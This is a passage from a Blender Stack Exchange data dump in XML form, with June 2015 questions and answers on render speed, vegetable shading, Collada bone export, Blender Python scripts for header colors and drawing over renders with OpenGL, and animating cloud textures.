&lt;code&gt;X,Y&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;you place an Empty at &lt;code&gt;(0,0,0)&lt;/code&gt;, rotate it around z by &lt;code&gt;360/15&lt;/code&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TS8bt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;add a circle to the world at &lt;code&gt;(0,0,0)&lt;/code&gt; and in edit mode move the vertices to in the X direction to until you are happy with where it is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ap0UQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pick your Object, add Array Modifier to the it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;set the &lt;code&gt;Object Offset&lt;/code&gt; to the rotated Empty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yogw7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From that point it's up to you what you do, add more rings. In the end you might have something like this, i've zoomed into the Empties to show that it might look a bit cluttered and that's to be expected (this is why naming your Empties is very important)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rpeH3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-05T08:07:20.110" LastActivityDate="2015-06-05T08:07:20.110" CommentCount="0" CommunityOwnedDate="2015-06-05T07:35:18.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="31973" PostTypeId="1" AcceptedAnswerId="31976" CreationDate="2015-06-05T07:35:55.093" Score="5" ViewCount="22266" Body="&lt;p&gt;My interior is rendering almost two hours and it shows only 2 samples that have been rendered. I don't quite know how to select properly those render settings to make good quality interior scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've done:&lt;br /&gt;&#xA;samples: 2600 &lt;br /&gt;&#xA;resolution: 1920x1080 at 50% &lt;br /&gt;&#xA;frame rate: 24&lt;br /&gt;&lt;/p&gt;&#xA;" OwnerUserId="14692" LastEditorUserId="12" LastEditDate="2015-10-10T17:14:30.177" LastActivityDate="2018-05-08T19:42:02.127" Title="Why is my render taking so long?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31974" PostTypeId="1" CreationDate="2015-06-05T07:47:38.103" Score="6" ViewCount="1632" Body="&lt;p&gt;How can I have the pepper look more realistic? I have been trying a few different nodes options as shown below in Cycles, but something still looks like a plastic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Node with Subsurface scattering:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EGRPd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QdT20.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I replace the subsurface scattering with &lt;strong&gt;Diffuse shader&lt;/strong&gt;, then I get the result below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vupsn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks better with SSS but requires longer rendering time and more noise.&#xA;I was wondering if there's easier way to make things work better here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Overall scene&lt;/strong&gt; looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PMUIm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps. I'd be happy to get any recommendations about how to improve rest of the scene, I know stem is way behind being realisting, its just a plastic looking now :(&lt;/p&gt;&#xA;" OwnerUserId="5435" LastEditorUserId="241" LastEditDate="2015-06-05T10:20:24.693" LastActivityDate="2015-06-05T12:01:09.790" Title="Realistic vegetable shading" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31975" PostTypeId="1" AcceptedAnswerId="32139" CreationDate="2015-06-05T07:49:44.060" Score="3" ViewCount="2712" Body="&lt;p&gt;I am trying to export a Model with a armature as .dae file to load it with Assimp into my game engine. The problem now is, Blender breaks the bones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks when I am exporting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4cEWB.png&quot; alt=&quot;exporting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I then start Blender again and try to import the dae again, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EJvYw.png&quot; alt=&quot;broken&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my game engine, which renders other animated.dae files perfectly fine, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u5cAr.png&quot; alt=&quot;in game&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure where the issue is but I guess it's me being too dumb to use Blender correctly.&lt;/p&gt;&#xA;" OwnerUserId="8319" LastEditorDisplayName="user12855" LastEditDate="2015-06-09T02:14:02.653" LastActivityDate="2018-04-27T13:28:34.903" Title="Collada export breaks bones" Tags="&lt;export&gt;&lt;bones&gt;&lt;collada&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31976" PostTypeId="2" ParentId="31973" CreationDate="2015-06-05T07:59:11.720" Score="12" Body="&lt;p&gt;Well, there's isn't really a magic button you can press to make your renders finish and clean up faster, but here are a few points that may help, or may not.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hardware&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The main thing that comes to mind is your hardware. If you don't have somewhat nice hardware, you aren't going to get very far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the built in cycles renderer, it is good to have a NVidia GPU with CUDA (if you have a nvidia card, learn to setup cuda &lt;a href=&quot;https://blender.stackexchange.com/questions/7485/enabling-gpu-rendering-for-cycles&quot;&gt;here&lt;/a&gt;). This is much faster than the normal CPU rendering. Having a decent CPU is also good if you don't have a GPU&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Scene&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Another factor, is going to be your scene. It can really be a lot of things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you said you where doing an interior, that fact that the light will be bouncing around more will slow down your render. If you have complex materials, naturally, it will slow down your render. If you have lots of lights, that can do it also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's really lots of stuff it can be. Without knowing more about your system and scene, it's really hard to say.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Render Settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Another big factor to consider are your render settings. Number of light bounces, number of samples, and resolution. High light samples are commonly seen as being the source of lengthy render times, but resolution is another significant factor. For a scene I was rendering at 1920x1080, it was taking around 5 minutes per frame. I reduced the resolution to 1280x720, and it reduced the time it took to render each frame to 30 seconds. Consider reducing your resolution if where you share/use the file doesn't use or need the extra pixels. &#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blenderguru.com/articles/4-easy-ways-to-speed-up-cycles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This article&lt;/a&gt; should give you a few extra pointers on what you can do to speed up cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for Blender Internal, &lt;a href=&quot;http://www.blenderguru.com/articles/13-ways-to-reduce-render-times/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; could help out a bit also.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="6204" LastEditDate="2018-05-08T19:42:02.127" LastActivityDate="2018-05-08T19:42:02.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31977" PostTypeId="1" AcceptedAnswerId="31980" CreationDate="2015-06-05T08:48:30.507" Score="3" ViewCount="94" Body="&lt;p&gt;I have this script that changes the header color regarding the scene I am working in. The code is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def header_color(self, context):&#xA;    global header_colors&#xA;    scene_name = bpy.context.screen.scene.name&#xA;    pref = bpy.context.user_preferences&#xA;&#xA;    if scene_name == 'Editing table': pref.themes[0].info.space.header = header_colors[0]&#xA;    elif scene_name.startswith(&quot;Tag: &quot;): pref.themes[0].info.space.header = header_colors[1]&#xA;    else: pref.themes[0].info.space.header = header_colors[2]&#xA;&#xA;def register():&#xA;    bpy.types.INFO_HT_header.append(header_color)&#xA;def unregister():&#xA;    bpy.types.INFO_HT_header.remove(header_color)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function is incredibly CPU consuming. If I replace the conditional sequence for a straight...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pref.themes[0].info.space.header = header_colors[2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...the cpu activity is back to normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I do something wrong?&lt;/p&gt;&#xA;" OwnerUserId="5482" LastActivityDate="2015-06-05T15:03:35.203" Title="Python - Changing scenes' header color gives fever to CPUs" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31979" PostTypeId="1" AcceptedAnswerId="31989" CreationDate="2015-06-05T09:32:45.560" Score="4" ViewCount="2455" Body="&lt;p&gt;I would like to draw on top of render image and save it. For example, I would like to draw a text or a line and then save the final image as PNG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking to use something like this: &lt;a href=&quot;https://blender.stackexchange.com/questions/643/is-it-possible-to-create-image-data-and-save-to-a-file-from-a-script&quot;&gt;Is it possible to create image data and save to a file from a script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, to make a line here or text would be a nightmare calculating each pixel position. I would like to use OpenGL primitives for drawing on top.&lt;/p&gt;&#xA;" OwnerUserId="1602" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-06-07T18:20:05.487" Title="Is possible to draw over render image and save it?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;image&gt;&lt;opengl&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31980" PostTypeId="2" ParentId="31977" CreationDate="2015-06-05T09:46:15.050" Score="2" Body="&lt;h3&gt;Why so CPU intensive?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Blender will call that function far more often than you think. Prove to yourself by adding a print statement in the function. that will explain the excessive CPU consumption.  It' s a neat idea but this is not the way to implement it. There are no &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.app.handlers.html?highlight=bpy.app.handlers#bpy.app.handlers.scene_update_post&quot; rel=&quot;nofollow&quot;&gt;events&lt;/a&gt; that fire off upon scene change, else that would be a great idea for an event handler.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;One possible approach&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I'm hoping this will anger someone else into giving a better answer :)&#xA;An alternative is to code a dedicated menu for switching scenes.. something like this.. (use better class names than these )&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this gives a menu of scenes in the current blend&lt;/li&gt;&#xA;&lt;li&gt;lets you pick one&lt;/li&gt;&#xA;&lt;li&gt;switches color&lt;/li&gt;&#xA;&lt;li&gt;switches scene&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SimpleSceneOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;scene.select_and_color&quot;&#xA;    bl_label = &quot;Simple Select Scene and Color&quot;&#xA;&#xA;    scene_name = bpy.props.StringProperty()&#xA;&#xA;    def execute(self, context):&#xA;        pref = context.user_preferences&#xA;        header_colors = [(1.0, 0.7, 0.7),(0.7, 1.0, 0.7),(0.7, 0.7, 1.0)]&#xA;&#xA;        if self.scene_name == 'Editing table':&#xA;            col = 0&#xA;        elif self.scene_name.startswith(&quot;Tag: &quot;):&#xA;            col = 1&#xA;        else:&#xA;            col = 2&#xA;&#xA;        pref.themes[0].info.space.header = header_colors[col]&#xA;        context.window.screen.scene = bpy.data.scenes[self.scene_name]&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class CustomMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Custom Menu&quot;&#xA;    bl_idname = &quot;OBJECT_MT_custom_menu&quot;&#xA;&#xA;    def draw(self, context):&#xA;        l = self.layout&#xA;        col = l.column()&#xA;        col.label(text=&quot;pick a scene&quot;)&#xA;&#xA;        opname = &quot;scene.select_and_color&quot;&#xA;&#xA;        for sc in bpy.data.scenes:&#xA;            col.operator(opname, text=sc.name).scene_name = sc.name&#xA;&#xA;&#xA;def draw_item(self, context):&#xA;    layout = self.layout&#xA;    layout.menu(CustomMenu.bl_idname)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleSceneOperator)&#xA;    bpy.utils.register_class(CustomMenu)&#xA;    bpy.types.INFO_HT_header.append(draw_item)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(CustomMenu)&#xA;    bpy.utils.unregister_class(SimpleSceneOperator)&#xA;    bpy.types.INFO_HT_header.remove(draw_item)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # The menu can also be called from scripts&#xA;    # bpy.ops.wm.call_menu(name=CustomMenu.bl_idname)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could be triggered from 3dview, if you assign a shortcut to it, else the current code adds a menu item to the end of the info header, not ideal but gets the idea across.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-05T15:03:35.203" LastActivityDate="2015-06-05T15:03:35.203" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31981" PostTypeId="2" ParentId="31979" CreationDate="2015-06-05T11:06:47.033" Score="2" Body="&lt;p&gt;I think you will have to save the render result, reopen it in the image editor to make it accessible, edit its data and save again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bpy_extras.image_utils as img_utils&#xA;&#xA;path = &quot;your_file_path&quot;&#xA;result = bpy.data.images['Render_Result']&#xA;result.save_render(path)&#xA;img = img_utils.load_image(path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See this &lt;a href=&quot;https://blender.stackexchange.com/a/28649/2271&quot;&gt;answer&lt;/a&gt; for drawing with OpenGL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also attach a drawing handler to bpy.types.SpaceImageEditor to provide a live preview but i don't think you can alter the Render_Result in 2.74 from the python api directly.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Rendering a Tile&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dx = TILE_X / WIDTH&#xA;dy = TILE_Y / HEIGHT&#xA;#...&#xA;bgl.gluOrtho2D(dx*col, dx*(col+1), dy*row, dy*(row+1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Write back the result(see this &lt;a href=&quot;https://blender.stackexchange.com/a/3678/2271&quot;&gt;answer&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tmp = list(img[:]) &#xA;#copy the image once&#xA;#modify tmp for each tile    &#xA;#finally copy tmp to output image&#xA;&#xA;#def set_pixel(data, x, y, width, value, channels=4):&#xA;#    for i in range(channels):&#xA;#        img[channels * (y*width + x) + i] = value[i]&#xA;&#xA;#copy lines&#xA;for k in range(TILE_Y):&#xA;   i0 = 4*(&#xA;       WIDTH  * (row * TILE_Y + k) +&#xA;       TILE_X *  col               &#xA;   )&#xA;   i1 = i0 + TILE_X*4&#xA;   tmp[i0:i1] = buffer[k*TILE_X*4: (k+1)*TILE_X*4]      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-06-06T18:43:16.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31982" PostTypeId="2" ParentId="31974" CreationDate="2015-06-05T11:41:13.490" Score="7" Body="&lt;p&gt;Try looking at some reference images (google images is often the easiest method) to see what peppers look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My observations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Very irregular shapes, usually with subtle bumps and nicks.&lt;/li&gt;&#xA;&lt;li&gt;Most peppers seem to have rather rough reflections.&lt;/li&gt;&#xA;&lt;li&gt;Extremely subtle color variations in the skin.&lt;/li&gt;&#xA;&lt;li&gt;Little bits of &quot;imperfection&quot;, such as tiny specs of dirt in crevices/around the stem&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With some hastily slapped together procedural textures, I attempted to simulate these things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NQ8S7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the irregular shape, I used two displace modifiers. One doing macro displacement in all directions, the other doing subtle displacement along the normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hhh9a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the subtle variations in color I used a noise texture. For the small nicks I used a bump map. For the rough reflections I used a much rougher glossy shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LuetT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd probably be able to get more realistic results with image textures, but perhaps this will give you some ideas.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In my scene I didn't end up using SSS for the pepper, as with my lighting setup the results were indistinguishable from a diffuse shader (and SSS was much noisier). However this might not be the case in your scene, so keep in mind that &lt;a href=&quot;https://blender.stackexchange.com/a/18607/3710&quot;&gt;thickness and inner geometry matter&lt;/a&gt;. Peppers are usually hollow with a core running through the middle, so a solidify modifier and a displaced cylinder in the middle should approximate that pretty well.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-06-05T12:01:09.790" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31983" PostTypeId="2" ParentId="31954" CreationDate="2015-06-05T11:58:24.803" Score="3" Body="&lt;p&gt;&lt;code&gt;bpy.context.scene.render.filepath&lt;/code&gt; contains the filename that the render will be saved to, you can change this and then use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.ops.render.html?highlight=render#bpy.ops.render.render&quot; rel=&quot;nofollow&quot;&gt;bpy.ops.render.render(animation=True)&lt;/a&gt; to render the animation to the specified file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.context.active_object.material_slots[0].material = bpy.data.materials['Red']&#xA;bpy.context.scene.render.filepath = '//red.avi'&#xA;bpy.ops.render.render(animation=True)&#xA;&#xA;bpy.context.active_object.material_slots[0].material = bpy.data.materials['Blue']&#xA;bpy.context.scene.render.filepath = '//blue.avi'&#xA;bpy.ops.render.render(animation=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;//&lt;/code&gt; at the beginning of the filename puts the file in the same folder as the blend file.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-05T11:58:24.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31984" PostTypeId="1" AcceptedAnswerId="31988" CreationDate="2015-06-05T13:51:48.143" Score="0" ViewCount="1638" Body="&lt;p&gt;I added blue color to my world background and then add texture 'clouds'.&#xA;I set up options so it looks quite good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm animating flying jet and these clouds are static. When I move camera &amp;amp; jet clouds are always the same.&lt;br&gt;&#xA;How I can easy fix it?&lt;/p&gt;&#xA;" OwnerUserId="14826" LastEditorUserId="2217" LastEditDate="2015-06-05T14:55:37.067" LastActivityDate="2015-06-05T23:04:20.893" Title="Animate clouds texture for blender sky" Tags="&lt;animation&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31985" PostTypeId="1" CreationDate="2015-06-05T13:52:37.033" Score="0" ViewCount="239" Body="&lt;p&gt;I'm not very experienced with 3D, only just starting out, so please bear with me.&lt;br&gt;&lt;br&gt;&#xA;I'm trying to render a scene for some 3D examples we need for work, and I'm trying to render the scene in Cycles, but something gets messed up at the last frame of rendering. While the scene is rendering just fine, it'll then switch to a weird foggy not-so-good-res render of the same scene. &#xA;&lt;br&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fvdIM.jpg&quot; alt=&quot;rendering just fine...&quot;&gt;&lt;br&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/HP8mXWg.png&quot; alt=&quot;final tile&quot;&gt;&lt;br&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/sH1BF5P.png&quot; alt=&quot;and then this.&quot;&gt;&#xA;&lt;br&gt;&lt;br&gt;&#xA;Any help with fixing this would be greatly appreciated :) I'm pretty sure I've done something wrong but I don't know what, or where to find it! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you &lt;/p&gt;&#xA;" OwnerUserId="14827" LastActivityDate="2015-06-05T13:52:37.033" Title="Blender final render changes at last frame?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31988" PostTypeId="2" ParentId="31984" CreationDate="2015-06-05T14:54:53.027" Score="0" Body="&lt;p&gt;That really depends on the node setup. If you go to &lt;a href=&quot;https://youtu.be/Tr6wTyfAO04&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; and follow along with what it has to say, then there are specific drivers in the tutorial that will allow your clouds to move and be very flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend file in which you can append from! Just make sure your project is in Cycles, and press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F1&lt;/kbd&gt; (append) and go to path\suppliedblend.blend\world\sky.&#xA;;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/257/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=257&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;&lt;br&gt;&#xA;Here are some further steps on how to animate the clouds without actually having to watch the tutorial. Now, when going to edit this answer, I realized that my supplied .blend file wasn't actually optimized to have these animate-able  properties. So, It's really quite simple to add that feature. Make an edit to the provided node setup and add a new node (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;) and add a mapping node. (Vector&gt;&gt;Mapping) Put your node in between your &lt;b&gt;Texture Coordinates&lt;/b&gt; node, and your &lt;b&gt;Noise Texture&lt;/b&gt; node. That way, the mapping node will have the output of the texture coordinates node going into the input of the mapping node. It's output will then go into the input of the noise texture node. Simple. Once this has been added, to make your clouds move you just need to keyframe the location coordinates parameters. If you hover over one of the sliders and press &lt;kbd&gt;I&lt;/kbd&gt; then you will have keyframed your value. Make sure that the other keyframe is far enough away from the first to achieve a realistic effect.&lt;/p&gt;&#xA;" OwnerUserId="10911" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-06-05T23:04:20.893" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31989" PostTypeId="2" ParentId="31979" CreationDate="2015-06-05T16:07:01.523" Score="3" Body="&lt;p&gt;Well, I think I have an idea of how to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;import blf&#xA;import bpy_extras.image_utils as img_utils&#xA;&#xA;# Get the render image&#xA;path = &quot;c:\\tmp\\tmp_render.png&quot;&#xA;try:&#xA;    result = bpy.data.images['Render Result']&#xA;    if result.has_data is False:&#xA;        bpy.ops.render.render()&#xA;        result = bpy.data.images['Render Result']&#xA;except:&#xA;    bpy.ops.render.render()&#xA;    result = bpy.data.images['Render Result']&#xA;&#xA;# Save and reload&#xA;result.save_render(path)&#xA;img = img_utils.load_image(path)&#xA;&#xA;&#xA;viewport_info = bgl.Buffer(bgl.GL_INT, 4)&#xA;bgl.glGetIntegerv(bgl.GL_VIEWPORT, viewport_info)&#xA;&#xA;scene = bpy.context.scene&#xA;render_scale = scene.render.resolution_percentage / 100&#xA;&#xA;WIDTH  = int(scene.render.resolution_x * render_scale)&#xA;HEIGHT = int(scene.render.resolution_y * render_scale)&#xA;&#xA;# Load image on memory&#xA;img.gl_load(0, bgl.GL_NEAREST, bgl.GL_NEAREST)&#xA;tex = img.bindcode&#xA;&#xA;# Create output image (to apply texture)&#xA;out = bpy.data.images.new(&quot;output&quot;, WIDTH, HEIGHT)&#xA;buffer = bgl.Buffer(bgl.GL_FLOAT, WIDTH * HEIGHT * 4)&#xA;&#xA;bgl.glDisable(bgl.GL_SCISSOR_TEST) # if remove this line, get blender screenshot not image &#xA;bgl.glViewport(0, 0, WIDTH, HEIGHT)&#xA;&#xA;bgl.glMatrixMode(bgl.GL_PROJECTION)&#xA;bgl.glLoadIdentity()&#xA;bgl.gluOrtho2D(0, WIDTH, 0, HEIGHT)&#xA;&#xA;# Clear&#xA;bgl.glClearColor(0.0, 0.0, 0.0, 0.0)&#xA;bgl.glClear(bgl.GL_COLOR_BUFFER_BIT | bgl.GL_DEPTH_BUFFER_BIT)&#xA;&#xA;bgl.glEnable(bgl.GL_TEXTURE_2D)&#xA;bgl.glBindTexture(bgl.GL_TEXTURE_2D, tex)&#xA;&#xA;bgl.glBegin(bgl.GL_QUADS)&#xA;bgl.glColor3f(1.0, 1.0, 1.0)&#xA;bgl.glTexCoord2f(0.0, 0.0)&#xA;bgl.glVertex2f(0.0, 0.0)&#xA;bgl.glTexCoord2f(1.0, 0.0)&#xA;bgl.glVertex2f(WIDTH, 0.0)&#xA;bgl.glTexCoord2f(1.0, 1.0)&#xA;bgl.glVertex2f(WIDTH, HEIGHT)&#xA;bgl.glTexCoord2f(0.0, 1.0)&#xA;bgl.glVertex2f(0.0, HEIGHT)&#xA;bgl.glEnd()&#xA;&#xA;bgl.glLineWidth(10)&#xA;bgl.glBegin(bgl.GL_LINES)&#xA;bgl.glColor4f(1.0, 0.0, 0.0, 1.0)&#xA;#bgl.glTexCoord2f(0.0, 0.0)&#xA;bgl.glVertex2f(0.0, 0.0)&#xA;#bgl.glTexCoord2f(1.0, 1.0)&#xA;bgl.glVertex2f(WIDTH, HEIGHT)&#xA;bgl.glEnd()&#xA;&#xA;# Draw a Text&#xA;font_id = 0&#xA;bgl.glColor4f(1.0, 1.0, 0.0, 1.0)&#xA;blf.size(font_id, 18, 72)&#xA;blf.position(font_id, 0.5, 0.5, 0)&#xA;blf.draw(font_id, &quot;Hello World&quot;)   &#xA;&#xA;#&#xA;bgl.glFinish()&#xA;bgl.glReadPixels(0, 0, WIDTH, HEIGHT , bgl.GL_RGBA, bgl.GL_FLOAT, buffer) # read image data&#xA;out.pixels = buffer[:] # Assign image data&#xA;img.gl_free() # free opengl image memory&#xA;&#xA;#reset&#xA;bgl.glEnable(bgl.GL_SCISSOR_TEST)&#xA;# restore opengl defaults&#xA;bgl.glLineWidth(1)&#xA;bgl.glDisable(bgl.GL_BLEND)&#xA;bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;img src=&quot;https://i.stack.imgur.com/cMl0O.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1602" LastEditorUserId="1602" 